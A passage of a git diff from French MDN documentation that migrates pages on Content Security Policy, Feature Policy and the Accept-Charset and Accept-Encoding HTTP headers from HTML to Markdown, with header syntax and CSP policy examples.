L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir.

+ +

CSP permet aux administrateurs système de réduire ou éliminer les moyens de réaliser des attaques XSS en permettant de spécifier les domaines autorisés à fournir des scripts pour la page visitée. Un navigateur compatible avec CSP n'exécute que les scripts provenant d'une origine autorisée par les règles CSP reçues et ignore ceux qui ne sont pas autorisés. On peut ainsi bloquer les domaines non autorisés, les scripts inline (inclus dans une page HTML) ou associés à des événements via les attributs HTML dédiés.

+ +

Pour un niveau de protection le plus élevé possible, un site qui voudrait qu'aucun script ne puisse être exécuté peut désactiver tout simplement l'exécution de tout script.

+ +

Empêcher les écoutes du trafic

+ +

En plus de restreindre les domaines à partir desquels le contenu peut être chargé, le serveur peut indiquer quels protocoles doivent être utilisés et par exemple forcer l'utilisation de HTTPS afin d'améliorer la sécurité. Une stratégie de sécurité complète pour la transmission des données peut non seulement forcer l'utilisation de TLS via HTTPS mais aussi forcer l'utilisation de cookies sécurisés (qui ne peuvent être envoyés qu'en HTTPS) et indiquer de convertir automatiquement toutes les requêtes qui auraient été faites en HTTP simple en requêtes HTTPS. L'utilisation de l'en-tête {{HTTPHeader("Strict-Transport-Security")}} permet de s'assurer que les navigateurs utilisent obligatoirement des connexions chiffrées en TLS (HTTPS).

+ +

Utiliser CSP

+ +

Configurer une stratégie CSP nécessite d'utiliser un en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour une page web et de spécifier une valeur pour contrôler les ressources que le navigateur est autorisé à charger pour cette page. Ainsi, une page qui charge et affiche des images peut autoriser les images stockées n'importe où mais n'autoriser les envois de formulaires que vers certaines adresses.

+ +

Créer votre règle CSP

+ +

On peut utiliser l'en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour définir la règle ainsi :

+ +
Content-Security-Policy: règle
+ +

La règle est une chaîne de caractères contenant la liste des règles qui constituent la règle CSP.

+ +

Écrire une règle

+ +

Une règle est définie par une série de directives qui décrivent chacune le comportement attendu pour un certain type de contenu ou pour l'ensemble des requêtes. Une règle peut inclure une directive {{CSP("default-src")}} pour la règle par défaut qui s'applique aux ressources pour lesquelles aucune règle n'est définie. Pour les autres types de règle, on pourra se référer à la page {{CSP("default-src")}}. Pour bloquer les scripts intégrés au code HTML (JavaScript inline) et l'utilisation de eval(), une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("script-src")}}. Pour bloquer les modifications de style intégrées au code HTML (CSS inline avec les attributs HTML {{HTMLElement("style")}}) et l'utilisation des balises style, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("style-src")}}.

+ +

Exemples pour les cas courants

+ +

Cette section propose des règles CSP pour les scenarios les plus classiques.

+ +

Exemple 1

+ +

Ici, on souhaite que tout le contenu du site soit fourni par la même origine (on exclut les sous-domaines) :

+ +
Content-Security-Policy: default-src 'self';
+ +

Exemple 2

+ +

Pour un site dont tout le contenu est fourni par le site lui-même ou par les sous-domaines de source-sure.example.net (qui peut être un autre site) :

+ +
Content-Security-Policy: default-src 'self' *.source-sure.example.net
+ +

Exemple 3

+ +

Pour un site dont les images peuvent venir de n'importe où, les musiques et vidéos de toto.local ou tata.local, les scripts par scripts.local :

+ +
Content-Security-Policy: default-src 'self'; img-src *; media-src toto.local tata.local; script-src scripts.local
+ +

Ici, les contenus doivent par défaut venir de la même origine que la page avec les exceptions précédemment décrites. Cela peut permettre aux utilisateurs d'afficher des images quelconques, mais de ne faire confiance qu'à certains domaines pour les musiques, vidéos et scripts.

+ +

Exemple 4

+ +

Pour un site dont les données sont critiques/privées et pour lequel toutes les données devraient être transmises en HTTPS depuis un domaine précis :

+ +
Content-Security-Policy: default-src https://confidentiel.example.net
+ +

Cette règle force l'utilisation de HTTPS et exclut tout usage de contenu ne venant pas de https://confidentiel.example.net.

+ +

Exemple 5

+ +

Pour un webmail qui permet d'afficher des mails incluant de l'HTML, des images provenant de n'importe où mais pas de JavaScript ou d'autres contenus potentiellement dangereux :

+ +
Content-Security-Policy: default-src 'self'; img-src *; child-src: *
+ +

On notera que dans cet exemple, on n'a pas de directive {{CSP("script-src")}}. C'est la directive default-src qui indique le comportement par défaut et donc qui limite le chargement des scripts à l'origine.

+ +

Tester une règle CSP

+ +

Pour faciliter le déploiement de CSP, on peut configurer le serveur afin de rapporter uniquement les violations de règle sans appliquer réellement la règle. Ainsi, on peut s'assurer que la règle ne bloque pas les usages du site en récupérant les rapports de violation de la règle en test. On peut aussi tester des modifications d'une règle en place via ce même mécanisme.

+ +

Pour cela, il suffit d'utiliser l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}, comme cela :

+ +
Content-Security-Policy-Report-Only: règle
+ +

Si les en-têtes HTTP {{HTTPHeader("Content-Security-Policy-Report-Only")}} et {{HTTPHeader("Content-Security-Policy")}} sont tous deux présents dans la réponse du serveur, les deux règles seront respectées, ce qui permet le test d'une nouvelle règle quand il y en a déjà une en place.

+ +

La règle indiquée par Content-Security-Policy est appliquée tandis que celle fourni par Content-Security-Policy-Report-Only génère des rapports mais n'est pas appliquée.

+ +

Si une règle contient une directive {{CSP("report-uri")}} valide, les navigateurs qui prennent en charge CSP doivent envoyer un rapport pour chaque violation de la règle qu'ils détectent.

+ +

Gérer les rapports

+ +

Par défaut, les violations de la règle de sécurité ne sont pas rapportées. Pour avoir des rapports de violation, il faut fournir directive {{CSP("report-uri")}} avec au moins une URL valide à laquelle envoyer les rapports :

+ +
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
+ +

Il faut également configurer le serveur qui doit recevoir les rapports pour traiter les rapports en question et par exemple les stocker afin de les consulter.

+ +

Syntaxe des rapports de violation

+ +

Le rapport est un objet JSON qui contient :

+ +
+
blocked-uri
+
L'URI de la ressource dont le chargement a été bloqué à cause du CSP. Si l'URI bloqué provient d'une origine différente de celle indiquée via document-uri, l'URI bloqué est tronqué et ne contient que le schéma, l'hôte et le port.
+
disposition
+
La chaîne "report" si l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} a été utilisée ou "enforce" si Content-Security-Policy a été utilisée.
+
document-uri
+
L'URI du document pour lequel la violation a eu lieu.
+
effective-directive
+
La directive dont le non-respect a entraîné la violation.
+
original-policy
+
La règle telle qu'indiquée dans l'en-tête HTTP Content-Security-Policy.
+
referrer
+
Le referrer du document pour lequel la violation a eu lieu.
+
script-sample
+
Les 40 premiers caractères du script, du gestionnaire d'évènement ou du style qui a entraîné la violation.
+
status-code
+
Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.
+
violated-directive
+
Le nom de la directive, dans la règle, qui n'a pas été respectée.
+
+ +

Exemple de rapport de violation de règle

+ +

Si l'on considère une page http://example.com/connexion.html, qui utilise la règle CSP suivante (qui interdit tout par défaut et autorise les feuilles de style CSS provenant de cdn.example.com) :

+ +
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
+ +

et qui contient le code HTML suivant :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Connectez-vous</title>
+    <link rel="stylesheet" href="css/style.css">
+  </head>
+  <body>
+    ... Contenu ...
+  </body>
+</html>
+ +

Dans cette situation, les clients qui visiteraient cette page la verrait avec les styles de base de leur navigateur car les feuilles de style autorisées ne peuvent venir que de cdn.example.com et non du site lui-même (l'origine même de la page) comme <link rel="stylesheet" href="css/style.css"> l'indique au navigateur. En outre, un navigateur (qui supporte CSP) enverrait le rapport de violation de règle CSP suivant à l'adresse http://example.com/_/csp-reports à chaque visite de la page dont il est question :

+ +
{
+  "csp-report": {
+    "document-uri": "http://example.com/connexion.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
+  }
+}
+ +

Comme vous pouvez le constater, le rapport inclus l'URI complète de la ressource dans blocked-uri. Ce n'est le cas en général. Ainsi, si la page avait essayé de charger la feuille de style http://anothercdn.example.com/stylesheet.css, le navigateur aurait indiqué seulement "blocked-uri": "http://anothercdn.example.com/", c'est à dire l'origine et non l'URI complète car l'origine de la feuille bloquée est différente de l'origine du site lui-même. La spécification de la CSP, disponible en anglais sur le site du W3C, explique les raisons de ce comportement qui peut surprendre de prime abord. En résumé, ce comportement évite les risques de diffuser des informations confidentielles qui pourraient être incluses dans les URI des ressources provenant d'autres origines.

+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp")}}

+ +

Il existe une incompatibilité spécifique dans certaines versions de Safari : si un en-tête Content-Security-Policy est défini mais qu'il n'y a pas d'en-tête Same-Origin , le navigateur bloquera le contenu du site courant et celui de l'extérieur en indiquant que la stratégie ne permet pas d'avoir ce contenu.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/feature_policy/index.html b/files/fr/web/http/feature_policy/index.html deleted file mode 100644 index 1061068d8c..0000000000 --- a/files/fr/web/http/feature_policy/index.html +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: Feature Policy -slug: Web/HTTP/Feature_Policy -tags: - - Feature Policy - - Feature-Policy - - HTTP - - Introduction - - Overview - - Reference - - Security - - Sécurité - - access - - accès - - delegation - - header - - permission -translation_of: Web/HTTP/Feature_Policy ---- -
{{HTTPSidebar}}
- -

Feature Policy ("réglementation des fonctionnalités" en français) permet aux développeurs web d'activer, de modifier ou de désactiver spécifiquement le comportement de certaines fonctionnalités et API dans le navigateur. Elle est similaire à {{Glossary("CSP", "Content Security Policy")}} mais contrôle les fonctionnalités plus que la sécurité.

- -
-

Note : L'en-tête Feature-Policy a maintenant été renommé Permissions-Policy dans la spécification, et cet article va possiblement être modifié en conséquence.

-
- -

En résumé

- -

Feature Policy est un mécanisme vous permettant de déclarer explicitement quelles fonctionnalités sont utilisées ou non par votre site web. Ceci vous permet donc de mettre en place des bonnes pratiques en limitant les fonctionnalités disponibles, et ce bien que votre code source évoluera avec le temps et que du contenu externe puisse être intégré postérieurement et plus sainement.

- -

Avec Feature Policy, vous pouvez opter pour un ensemble de "règles" que le navigateur imposera à certaines fonctionnalités utilisées sur un site web. Ces règles restreignent quelles API le site peut utiliser ou comment il peut modifier le comportement par défaut du navigateur pour utiliser certaines fonctionnalités.

- -

Par exemple, voici des choses que vous pourrez faire avec Feature Policy :

- - - -

Concepts et utilisation

- -

Feature Policy vous permet de contrôler quelles origines peuvent utiliser quelles fonctionnalités, à la fois au niveau supérieur de navigation et dans cadres embarqués. Essentiellement, vous devez écrire une règle qui fournit une liste d'origines permises pour chaque fonctionnalité. Celles contrôlées par Feature Policy ne seront activées que dans les documents ou cadres si leur origine respective est présente dans la liste de permissions associée à cette fonctionnalité.

- -

Pour chaque fonctionnalités contrôlée, le navigateurs entretient une liste d'origines (dite "liste de permissions" ou allowlist) pour lesquelles la fonctionnalité est activée. Si vous ne spécifiez aucune règle pour une fonctionnalité, alors la liste de permissions par défaut sera utilisée. Celle-ci est spécifique à chaque fonctionnalité.

- -

Écrire une règle

- -

Une règle est composée d'un ensemble de directives individuelles. Chaque directive est une combinaison d'un nom de fonctionnalités et d'une liste de permissions pour les origines qui pourront utiliser la fonctionnalité.

- -

Appliquer votre règle

- -

Feature Policy fournit deux manières d'appliquer des règles pour contrôler les fonctionnalités :

- - - -

La principale différence entre les deux est que que l'attribut ne contrôle les fonctionnalités que dans l'iframe tandis que l'en-tête les contrôle dans la réponse et chacun des contenus imbriqués dans la page.

- -

Pour plus de détails, voir Utiliser Feature Policy.

- -

Déterminer la règle

- -

Les scripts peuvent demander programmatiquement à savoir quelles règles s'appliquent au moyen de l'objet {{DOMxRef("FeaturePolicy")}} avec {{DOMxRef("Document.featurePolicy")}} ou {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.

- -

Types de fonctionnalités contrôlables

- -

Bien que Feature Policy fournit un moyen de contrôler de multiples fonctionnalités en utilisant une syntaxe constante, le comportement des fonctionnaltiés contrôlées varie et dépend de plusieurs facteurs.

- -

Le principe général est qu'il devrait y avoir un moyen intuitif et fiable pour les développeurs web de savoir quand une fonctionnalité dont ils ont besoin est désactivée. Les fonctionnalités récemment introduites peuvent fournir une API explicitement conçue pour signaler un tel cas, mais celles préexistantes et qui ont intégré tardivement Feature Policy utilisent typiquement des mécanismes plus anciens, par exemple :

- - - -

L'ensemble actuel des fonctionnalités contrôlables se résume donc à deux grandes catégories :

- - - -

Bonnes pratiques pour une bonne expérience d'utilisation

- -

Il y a plusieurs fonctionnalités contrôlables pour vous aider à mettre en place de bonnes pratiques afin d'assurer de bonnes performances et une expérience d'utilisation agréable.

- -

Dans la plupart des cas, les fonctionnalités contrôlables sont celles qui, si utilisées, vont affecter négativement l'expérience d'utilisation. Pour éviter de faire dysfonctionner un site web déjà existant, ces fonctionnalités autorisent par défaut leur usage par toutes les origines. Une bonne pratique est donc d'utiliser des règles qui désactivent ces fonctionnalités pour certaines origines.

- -

La liste de ces fonctionnalités est :

- - - -

Contrôle granulaire sur certaines fonctionnalités

- -

Le web fournit des fonctionnalités et API que peuvent affecter l'anonymat, la vie privée et la sécurité si leur usage est abusif. Dans certains cas, vous pourriez avoir envie de limiter strictement la manière dont de telles fonctionnalités sont utilisées sur un site web. Il y a des moyens de permettre à des fonctionnalités d'être activées ou désactivées pour des origines ou des cadres spécifiques dans un site web. Quand ils sont disponibles, les moyens intègrent avec l'API Permissions ou des mécanismes propres à eux-mêmes la possibilité de vérifier si la fonctionnalité est disponible.

- -

Les fonctionnalités incluent (voir la liste des Features) :

- - - -

Exemples

- - - -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}{{Spec2("Feature Policy")}}Définition initiale. Définit l'en-tête {{httpheader("Feature-Policy")}}. Les directives sont définies dans la spécification pour les fonctionnalités qu'elles contrôlent. Voir les pages individuelles des directives pour plus de détails.
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.headers.Feature-Policy")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/feature_policy/index.md b/files/fr/web/http/feature_policy/index.md new file mode 100644 index 0000000000..1061068d8c --- /dev/null +++ b/files/fr/web/http/feature_policy/index.md @@ -0,0 +1,173 @@ +--- +title: Feature Policy +slug: Web/HTTP/Feature_Policy +tags: + - Feature Policy + - Feature-Policy + - HTTP + - Introduction + - Overview + - Reference + - Security + - Sécurité + - access + - accès + - delegation + - header + - permission +translation_of: Web/HTTP/Feature_Policy +--- +
{{HTTPSidebar}}
+ +

Feature Policy ("réglementation des fonctionnalités" en français) permet aux développeurs web d'activer, de modifier ou de désactiver spécifiquement le comportement de certaines fonctionnalités et API dans le navigateur. Elle est similaire à {{Glossary("CSP", "Content Security Policy")}} mais contrôle les fonctionnalités plus que la sécurité.

+ +
+

Note : L'en-tête Feature-Policy a maintenant été renommé Permissions-Policy dans la spécification, et cet article va possiblement être modifié en conséquence.

+
+ +

En résumé

+ +

Feature Policy est un mécanisme vous permettant de déclarer explicitement quelles fonctionnalités sont utilisées ou non par votre site web. Ceci vous permet donc de mettre en place des bonnes pratiques en limitant les fonctionnalités disponibles, et ce bien que votre code source évoluera avec le temps et que du contenu externe puisse être intégré postérieurement et plus sainement.

+ +

Avec Feature Policy, vous pouvez opter pour un ensemble de "règles" que le navigateur imposera à certaines fonctionnalités utilisées sur un site web. Ces règles restreignent quelles API le site peut utiliser ou comment il peut modifier le comportement par défaut du navigateur pour utiliser certaines fonctionnalités.

+ +

Par exemple, voici des choses que vous pourrez faire avec Feature Policy :

+ + + +

Concepts et utilisation

+ +

Feature Policy vous permet de contrôler quelles origines peuvent utiliser quelles fonctionnalités, à la fois au niveau supérieur de navigation et dans cadres embarqués. Essentiellement, vous devez écrire une règle qui fournit une liste d'origines permises pour chaque fonctionnalité. Celles contrôlées par Feature Policy ne seront activées que dans les documents ou cadres si leur origine respective est présente dans la liste de permissions associée à cette fonctionnalité.

+ +

Pour chaque fonctionnalités contrôlée, le navigateurs entretient une liste d'origines (dite "liste de permissions" ou allowlist) pour lesquelles la fonctionnalité est activée. Si vous ne spécifiez aucune règle pour une fonctionnalité, alors la liste de permissions par défaut sera utilisée. Celle-ci est spécifique à chaque fonctionnalité.

+ +

Écrire une règle

+ +

Une règle est composée d'un ensemble de directives individuelles. Chaque directive est une combinaison d'un nom de fonctionnalités et d'une liste de permissions pour les origines qui pourront utiliser la fonctionnalité.

+ +

Appliquer votre règle

+ +

Feature Policy fournit deux manières d'appliquer des règles pour contrôler les fonctionnalités :

+ + + +

La principale différence entre les deux est que que l'attribut ne contrôle les fonctionnalités que dans l'iframe tandis que l'en-tête les contrôle dans la réponse et chacun des contenus imbriqués dans la page.

+ +

Pour plus de détails, voir Utiliser Feature Policy.

+ +

Déterminer la règle

+ +

Les scripts peuvent demander programmatiquement à savoir quelles règles s'appliquent au moyen de l'objet {{DOMxRef("FeaturePolicy")}} avec {{DOMxRef("Document.featurePolicy")}} ou {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.

+ +

Types de fonctionnalités contrôlables

+ +

Bien que Feature Policy fournit un moyen de contrôler de multiples fonctionnalités en utilisant une syntaxe constante, le comportement des fonctionnaltiés contrôlées varie et dépend de plusieurs facteurs.

+ +

Le principe général est qu'il devrait y avoir un moyen intuitif et fiable pour les développeurs web de savoir quand une fonctionnalité dont ils ont besoin est désactivée. Les fonctionnalités récemment introduites peuvent fournir une API explicitement conçue pour signaler un tel cas, mais celles préexistantes et qui ont intégré tardivement Feature Policy utilisent typiquement des mécanismes plus anciens, par exemple :

+ + + +

L'ensemble actuel des fonctionnalités contrôlables se résume donc à deux grandes catégories :

+ + + +

Bonnes pratiques pour une bonne expérience d'utilisation

+ +

Il y a plusieurs fonctionnalités contrôlables pour vous aider à mettre en place de bonnes pratiques afin d'assurer de bonnes performances et une expérience d'utilisation agréable.

+ +

Dans la plupart des cas, les fonctionnalités contrôlables sont celles qui, si utilisées, vont affecter négativement l'expérience d'utilisation. Pour éviter de faire dysfonctionner un site web déjà existant, ces fonctionnalités autorisent par défaut leur usage par toutes les origines. Une bonne pratique est donc d'utiliser des règles qui désactivent ces fonctionnalités pour certaines origines.

+ +

La liste de ces fonctionnalités est :

+ + + +

Contrôle granulaire sur certaines fonctionnalités

+ +

Le web fournit des fonctionnalités et API que peuvent affecter l'anonymat, la vie privée et la sécurité si leur usage est abusif. Dans certains cas, vous pourriez avoir envie de limiter strictement la manière dont de telles fonctionnalités sont utilisées sur un site web. Il y a des moyens de permettre à des fonctionnalités d'être activées ou désactivées pour des origines ou des cadres spécifiques dans un site web. Quand ils sont disponibles, les moyens intègrent avec l'API Permissions ou des mécanismes propres à eux-mêmes la possibilité de vérifier si la fonctionnalité est disponible.

+ +

Les fonctionnalités incluent (voir la liste des Features) :

+ + + +

Exemples

+ + + +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}{{Spec2("Feature Policy")}}Définition initiale. Définit l'en-tête {{httpheader("Feature-Policy")}}. Les directives sont définies dans la spécification pour les fonctionnalités qu'elles contrôlent. Voir les pages individuelles des directives pour plus de détails.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.headers.Feature-Policy")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/accept-charset/index.html b/files/fr/web/http/headers/accept-charset/index.html deleted file mode 100644 index e832f5b513..0000000000 --- a/files/fr/web/http/headers/accept-charset/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Accept-Charset -slug: Web/HTTP/Headers/Accept-Charset -translation_of: Web/HTTP/Headers/Accept-Charset ---- -
{{HTTPSidebar}}
- -

L'en-tête HTTP de la requêteAccept-Charset indique le jeu de caractères que le client est capable de comprendre. À l'aide de la content negotiation, le serveur sélectionne l'une des propositions, l'utilise et informe le client de son choix dans l'en-tête de réponse {{HTTPHeader ("Content-Type")}}. Les navigateurs ne définissent généralement pas cet en-tête car la valeur par défaut de chaque type de contenu est généralement correcte et sa transmission permettrait une empreinte digitale plus facile.

- -

Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (non acceptable). Cependant, pour une meilleure expérience utilisateur, cela est rarement fait et le moyen le plus courant consiste à ignorer l'en-tête Accept-Charset dans ce cas.

- -
-

Note : Dans les premières versions de HTTP / 1.1, un jeu de caractères par défaut (ISO-8859-1) était défini. Ce n'est plus le cas et maintenant chaque type de contenu peut avoir sa propre valeur par défaut.

-
- - - - - - - - - - - - -
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
- -

Syntax

- -
Accept-Charset: <charset>
-
-// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
-Accept-Charset: utf-8, iso-8859-1;q=0.5
- -

Les directives

- -
-
<charset>
-
Un jeu de caractères comme utf-8 ou iso-8859-15.
-
*
-
Tout jeu de caractères non mentionné ailleurs dans l'en-tête; '*' utilisé comme un joker.
-
;q= (q-factor weighting)
-
Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée  weight.
-
- -

Examples

- -
Accept-Charset: iso-8859-1
-
-Accept-Charset: utf-8, iso-8859-1;q=0.5
-
-Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
-
- -

Specifications

- - - - - - - - - - - - -
SpecificationTitre
{{RFC("7231", "Accept-Charset", "5.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Accept-Charset")}}

- -

Voir également

- - diff --git a/files/fr/web/http/headers/accept-charset/index.md b/files/fr/web/http/headers/accept-charset/index.md new file mode 100644 index 0000000000..e832f5b513 --- /dev/null +++ b/files/fr/web/http/headers/accept-charset/index.md @@ -0,0 +1,81 @@ +--- +title: Accept-Charset +slug: Web/HTTP/Headers/Accept-Charset +translation_of: Web/HTTP/Headers/Accept-Charset +--- +
{{HTTPSidebar}}
+ +

L'en-tête HTTP de la requêteAccept-Charset indique le jeu de caractères que le client est capable de comprendre. À l'aide de la content negotiation, le serveur sélectionne l'une des propositions, l'utilise et informe le client de son choix dans l'en-tête de réponse {{HTTPHeader ("Content-Type")}}. Les navigateurs ne définissent généralement pas cet en-tête car la valeur par défaut de chaque type de contenu est généralement correcte et sa transmission permettrait une empreinte digitale plus facile.

+ +

Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (non acceptable). Cependant, pour une meilleure expérience utilisateur, cela est rarement fait et le moyen le plus courant consiste à ignorer l'en-tête Accept-Charset dans ce cas.

+ +
+

Note : Dans les premières versions de HTTP / 1.1, un jeu de caractères par défaut (ISO-8859-1) était défini. Ce n'est plus le cas et maintenant chaque type de contenu peut avoir sa propre valeur par défaut.

+
+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Syntax

+ +
Accept-Charset: <charset>
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+ +

Les directives

+ +
+
<charset>
+
Un jeu de caractères comme utf-8 ou iso-8859-15.
+
*
+
Tout jeu de caractères non mentionné ailleurs dans l'en-tête; '*' utilisé comme un joker.
+
;q= (q-factor weighting)
+
Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée  weight.
+
+ +

Examples

+ +
Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
+
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitre
{{RFC("7231", "Accept-Charset", "5.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Accept-Charset")}}

+ +

Voir également

+ + diff --git a/files/fr/web/http/headers/accept-encoding/index.html b/files/fr/web/http/headers/accept-encoding/index.html deleted file mode 100644 index 42d6228260..0000000000 --- a/files/fr/web/http/headers/accept-encoding/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Accept-Encoding -slug: Web/HTTP/Headers/Accept-Encoding -translation_of: Web/HTTP/Headers/Accept-Encoding ---- -
{{HTTPSidebar}}
- -

L'en-tête HTTP Accept-Encoding permet de définir quel sera l'encodage du contenu. Il s'agit généralement de l'algorithme de compression utilisé par le serveur. Le client peut alors décoder le corps de la requête correctement. Utilisant la négociation de contenu, le serveur choisit l'une des propositions d'encodage que le client prend en charge. Le serveur l'utilise et le notifie au client à l'aide de l'en-tête de réponse Content-Encoding.

- - -

Même si le client et le serveur supportent deux algorithmes de compressions communs, le serveur peut choisir de ne pas compresser le corps de la réponse si l'encodage identity (aucune compression) est accepté par le client. Deux exemples de cas communs peuvent conduire à la non-compression du corps de la réponse :

- - - - -

Dès lors que l'usage d'identity, signifiant l'absence de compression, n'est pas explicitement interdite, que ce soit par identity;q=0 ou *;q=0 (sans l'usage d'une autre valeur pour identity), le serveur ne doit jamais renvoyer une erreur 406 Not Acceptable.

- -
-

Note : -

-

-
- - - - - - - - - - - - -
Type d'en-têteEn-tête de requête
Nom d'en-tête interditOui
- -

Syntaxe

- -
Accept-Encoding: gzip
-Accept-Encoding: compress
-Accept-Encoding: deflate
-Accept-Encoding: br
-Accept-Encoding: identity
-Accept-Encoding: *
-
-// Plusieurs algorithmes pondérés par facteur de qualité :
-Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5
- -

Directives

- -
-
gzip
-
Un format de compression utilisant Lempel-Ziv coding (LZ77), avec un CRC (Contrôle de Redondance Cyclique) de 32 bits.
-
compress
-
Un format de compression utilisant l'algorithme Lempel-Ziv-Welch (LZW).
-
deflate
-
Un format de compression utilisant la structure zlib, avec l'algorithme de compression deflate.
-
br
-
Un format de compression utilisant l'algorithme Brotli.
-
identity
-
Indique la fonction identité (c'est-à-dire pas de compression ou de modification). Cette valeur est toujours considérée comme acceptable, même si l'en-tête ne le précise pas.
-
*
-
Correspond à tous les systèmes d'encodage de contenu qui n'ont pas été listés dans l'en-tête. C'est la valeur par défaut de l'en-tête s'il n'est pas présent. Cela ne signifie pas que tous les algorithmes sont supportés; seulement qu'aucune préférence n'est exprimée.
-
;q= (pondération par qvalues)
-
La valeur indique l'ordre de préférence des méthodes de compression à utiliser. Ce champ utilise les pondérations de qualité (ou quality values en anglais).
-
- -

Exemples

- -
Accept-Encoding: gzip
-
-Accept-Encoding: gzip, compress, br
-
-Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpecificationTitle
RFC 7231, section 5.3.4: Accept-EncodingHypertext Transfer Protocol (HTTP/1.1): Semantics and Context
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Accept-Encoding")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/accept-encoding/index.md b/files/fr/web/http/headers/accept-encoding/index.md new file mode 100644 index 0000000000..42d6228260 --- /dev/null +++ b/files/fr/web/http/headers/accept-encoding/index.md @@ -0,0 +1,111 @@ +--- +title: Accept-Encoding +slug: Web/HTTP/Headers/Accept-Encoding +translation_of: Web/HTTP/Headers/Accept-Encoding +--- +
{{HTTPSidebar}}
+ +

L'en-tête HTTP Accept-Encoding permet de définir quel sera l'encodage du contenu. Il s'agit généralement de l'algorithme de compression utilisé par le serveur. Le client peut alors décoder le corps de la requête correctement. Utilisant la négociation de contenu, le serveur choisit l'une des propositions d'encodage que le client prend en charge. Le serveur l'utilise et le notifie au client à l'aide de l'en-tête de réponse Content-Encoding.

+ + +

Même si le client et le serveur supportent deux algorithmes de compressions communs, le serveur peut choisir de ne pas compresser le corps de la réponse si l'encodage identity (aucune compression) est accepté par le client. Deux exemples de cas communs peuvent conduire à la non-compression du corps de la réponse :

+ + + + +

Dès lors que l'usage d'identity, signifiant l'absence de compression, n'est pas explicitement interdite, que ce soit par identity;q=0 ou *;q=0 (sans l'usage d'une autre valeur pour identity), le serveur ne doit jamais renvoyer une erreur 406 Not Acceptable.

+ +
+

Note : +

+

+
+ + + + + + + + + + + + +
Type d'en-têteEn-tête de requête
Nom d'en-tête interditOui
+ +

Syntaxe

+ +
Accept-Encoding: gzip
+Accept-Encoding: compress
+Accept-Encoding: deflate
+Accept-Encoding: br
+Accept-Encoding: identity
+Accept-Encoding: *
+
+// Plusieurs algorithmes pondérés par facteur de qualité :
+Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5
+ +

Directives

+ +
+
gzip
+
Un format de compression utilisant Lempel-Ziv coding (LZ77), avec un CRC (Contrôle de Redondance Cyclique) de 32 bits.
+
compress
+
Un format de compression utilisant l'algorithme Lempel-Ziv-Welch (LZW).
+
deflate
+
Un format de compression utilisant la structure zlib, avec l'algorithme de compression deflate.
+
br
+
Un format de compression utilisant l'algorithme Brotli.
+
identity
+
Indique la fonction identité (c'est-à-dire pas de compression ou de modification). Cette valeur est toujours considérée comme acceptable, même si l'en-tête ne le précise pas.
+
*
+
Correspond à tous les systèmes d'encodage de contenu qui n'ont pas été listés dans l'en-tête. C'est la valeur par défaut de l'en-tête s'il n'est pas présent. Cela ne signifie pas que tous les algorithmes sont supportés; seulement qu'aucune préférence n'est exprimée.
+
;q= (pondération par qvalues)
+
La valeur indique l'ordre de préférence des méthodes de compression à utiliser. Ce champ utilise les pondérations de qualité (ou quality values en anglais).
+
+ +

Exemples

+ +
